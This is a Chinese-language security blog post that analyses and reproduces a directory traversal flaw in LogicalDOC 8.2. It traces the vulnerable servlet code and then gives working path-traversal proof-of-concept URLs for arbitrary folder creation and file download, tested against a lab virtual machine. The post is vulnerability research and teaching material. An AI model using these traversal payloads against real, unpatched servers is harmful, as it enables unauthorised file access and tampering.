LogicalDOC 8.2目录遍历漏洞 分析复现

 

hello~我是掌控安全实验室的Mss,欢迎关注我们的从CVE分析学漏洞专栏,以及新型漏洞跟进分析专题。我们会在线讲解部分发表文章漏洞的原理、并进行复现分析,现在点击即可关注。

LogicalDOC是一家全球性软件公司,提供基于Java的专为公司管理和共享文件而设计的文档管理系统。而在其发布的8.2中存在目录遍历漏洞。

目录遍历其实是中间键的一个功能选项,用于共享文件,但由于管理员的疏忽或经验不足,在网站中开启了这项功能,那么用户就可以通过目录的形式访问网站中的文件,这就是一个不折不扣的大漏洞了。

Web服务器主要提供两个级别的安全机制:

  • 访问控制列表
  • 根目录访问

访问控制列表是用于授权过程的,它是一个Web服务器的管理员用来说明什么用户或用户组能够在服务器上访问、修改和执行某些文件的列表,同时也包含了其他的一些访问权限内容。

根目录是服务器文件系统中一个特定目录,它往往是一个限制,用户无法访问位于这个目录之上的任何内容。利用这个漏洞,攻击者能够走出服务器的根目录,从而访问到文件系统的其他部分,譬如攻击者就能够看到一些受限制的文件,或者更危险的,攻击者能够执行一些造成整个系统崩溃的指令。

而在LogicalDOC的今年(2019.1.25)发布的8.2版本中,攻击者只要成为一个拥有只读权限的guest用户,就可以在服务器上任意创建目录,任意下载文件。在后续版本中,这个漏洞已经被修复。

本文将从 代码分析、漏洞利用 和 漏洞复现 三个方面介绍这个漏洞。

 

代码分析

RIPS发布了最新的RIPS 3.0,它支持Java代码分析,它在30分钟内扫描分析了LogicalDOC 8.2大约200,000条代码,并将生成的RIPS扫描报告公布出来。

接下来的文章将围绕此报告展开。

分析显示,LogicalDOC的DownloadServlet出了问题,这个servlet是用户下载文件的接口,它会调用一个名为downloadPluginResource()的函数,这个函数允许下载插件目录中已安装的插件文件,但是由于没有对输入的参数过滤,导致攻击者可以利用目录遍历进行任意文件下载。下面的是DownloadServlet的部分内容,它继承了Java的HttpServlet类。其中,doGet()函数会处理通过get方式访问这个serverlet的请求。我们可以看到downloadPluginResouse()函数一共有6个参数,其中后面的三个参数是通过request中获取到的,分别是pluginId,resourcePath和fileName(第7-9行)。

 

com.logicaldoc.web.DownloadServlet

public class DownloadServlet extends HttpServlet 
{
⋮
  public void doGet(HttpServletRequest request, HttpServletResponse response) 
  {
  ⋮
    ServletUtil.downloadPluginResource(request, response, session.getSid(),
    request.getParameter("pluginId"), request.getParameter("resourcePath"),
    request.getParameter("fileName"));   //以get方式接收pluginId,resourcePath和fileName
  ⋮
  }
}

注意: 在下面的代码中,在函数downloadPluginResource()的第5行,pluginId变成了pluginName,这意味着我们可以通过控制GET传入的pluginId来控制pluginName(可以理解为GET传入的pluginId赋值给变量pluginName)。在第8行,未经过处理的参数传给了PluginRegistry类的getPluginResource()函数。

在第13行应用程序创建了一个用于读取文件的输入流(FileInputStream),并在第19行创建一个用于写出数据的输出流(OutputStream),然后在HTTTP响应中返回给客户端。说简单点,就是在第8行读取file文件,然后通过第19行的处理可以将这个file返回给客户端。

com.logicaldoc.web.util.ServletUtil

public class ServletUtil  
{   
⋮
  public static void downloadPluginResource(HttpServletRequest request, 
    HttpServletResponse response, String sid, String pluginName, String resourcePath, String fileName)    //之前的pluginId变成了pluginName
  {    
  ⋮
    File file = PluginRegistry.getPluginResource(pluginName, resourcePath);  //变量未经处理直接传入
    String mimetype = MimeType.getByFilename(filename);
    InputStream is = null;
    ServletOutputStream os = null;

    is = new FileInputStream(file);       //创建一个用于读取文件的输入流                
    os = response.getOutputStream();
    int letter = false;
    byte[] buffer = new byte[131072];
    while((letter = is.read(buffer)) != -1) 
    {
      os.write(buffer, 0, letter);        //创建一个用于写出数据的输出流
    }
  ⋮
  }
}

 

那么问题来了,如果我们可以控制变量file,那么我们不是就可以做到任意文件下载呢?

查看PluginRegistry函数,注意: 在第一行中resourcePath变成了path。这里变量path没有经过处理直接传给第4行中的java.io.File,构成了文件的路径。

com.logicaldoc.util.plugin.PluginRegistry

public static File getPluginResource(String pluginName, String path) //resourcePath变成了path
{
   File root = getPluginHome(pluginName);
   File resource = new File(root.getPath() + "/" + path); //确定文件的路径
   if (!resource.exists() && !path.contains("."))  //判断文件是否存在,如果不存在,创建
   {
     FileUtils.forceMkdir(resource);
   }
  return resource;
}

 

在测试时发现并不能直接进行任意文件下载,于是注意到getPluginHome()函数。这里同样没有对输入的变量pluginName进行验证或过滤。这段代码的意思是进入插件所在的文件夹,如果不存在,则创建这个文件夹。

com.logicaldoc.util.plugin.PluginRegistry

public static File getPluginHome(String pluginName) 
{
   File root = getPluginsDir();
   File userDir = new File(root, pluginName);
   if (!userDir.exists())       //判断文件夹是否存在,如果不存在,创建
   {
      FileUtils.forceMkdir(userDir);
   }
   return userDir;
}

 

 

利用

通过代码分析可知,变量pluginName可以让我们进入 指点文件夹 或者在 任意一个位置创建一个文件夹 ,通过控制变量path我们可以控制我们想要 下载的文件名(路径) 。
注意: 在我们分析的第一段代码中,通过get方式接收了三个参数 pluginId,resourcePath和fileName。

ServletUtil.downloadPluginResource(request, response, session.getSid(),
    request.getParameter("pluginId"), request.getParameter("resourcePath"),
    request.getParameter("fileName"));

在我们分析的第二段代码中,pluginId变成了pluginName。

  public static void downloadPluginResource(HttpServletRequest request, 
    HttpServletResponse response, String sid, String pluginName, String resourcePath, String fileName)

同时注意在第二段代码和第三段代码中getPluginResource()的区别:

getPluginResource(pluginName, resourcePath);
getPluginResource(String pluginName, String path)

变量resourcePath变成了path。

综上所述只要我们控制了resourcePath和pluginId就能达到我们的目的。

通过分析Web应用程序的web.xml文件,我们可以修改URL中传入/download的参数来达到我们的目的。

 

web.xml

 ⋮
<servlet>
    <servlet-name>Download</servlet-name>
    <servlet-class>com.logicaldoc.web.DownloadServlet</servlet-class>
</servlet>
 ⋮
<servlet-mapping>
    <servlet-name>Download</servlet-name>
    <url-pattern>/download</url-pattern>
</servlet-mapping>
 ⋮ 

综上, 任意文件夹创建poc:/download?pluginId=../../xxx/xxx 任意文件下载poc:/download?resourcePath=文件名&pluginId=../../../../../../../xx/xx (../只是为了跳转到系统根目录,所以加了尽可能多的../)

 

复现

操作系统:windows 10(mac,linux都可以)虚拟机 IP:192.168.52.135 运行环境:JAVA 11 软件版本:LogicalDOC 8.2 (WINDOWS)

step 1:安装

下载安装所需软件,一路默认安装,安装完成之后,点击桌面的 LogicalDOC ,默认端口为8080,注意,这个版本可能需要激活码,可以免费申请一个30天的试用码。

step 2:创建用户

依次点开 管理-安全-用户-添加用户(按要求添加用户,分组为guest,在用户名上右键修改密码)。  如图,我创建了一个名为test1的用户。
![avatar][step2.1]

step3 构造poc:

这张图是C盘的根目录,我将利用/download?pluginId=../../../../../../掌控安全学院在这个地方创建一个名为 掌控安全学院 的文件夹

用test1账户登录,在url栏输入 http://192.168.52.135:8080/download?pluginId=../../../../../../掌控安全学院 ![avatar][step3.2]

在C盘windows目录下有一个win.ini文件,我将利用/download?resourcePath=win.ini&pluginId=../../../../../../../Windows下载这个文件。

在url栏输入 http://192.168.52.135:8080/download?resourcePath=win.ini&pluginId=../../../../../../../Windows

注意

上面的../的目的是为了调到根目录,因为不知道当前所在的路径,所以尽可能多的使用../调到根目录,此外任意文件下载是由resourcePath和pluginId共同决定的,因此上面的poc也可以写成/download?resourcePath=Windows/win.ini&pluginId=../../../../../../../;另外,如果是一个不存在文件,也会提示下载,但是大小显示为0。

文末

欢迎关注我们的从CVE分析学漏洞专栏,以及新型漏洞跟进分析专题。我们会在线讲解部分发表文章漏洞的原理、并进行复现分析。现在扫码添加客服微信,即可收到活动及福利通知哦。

 

参考链接

https://blog.ripstech.com/2019/logicaldoc-path-traversal/

(完)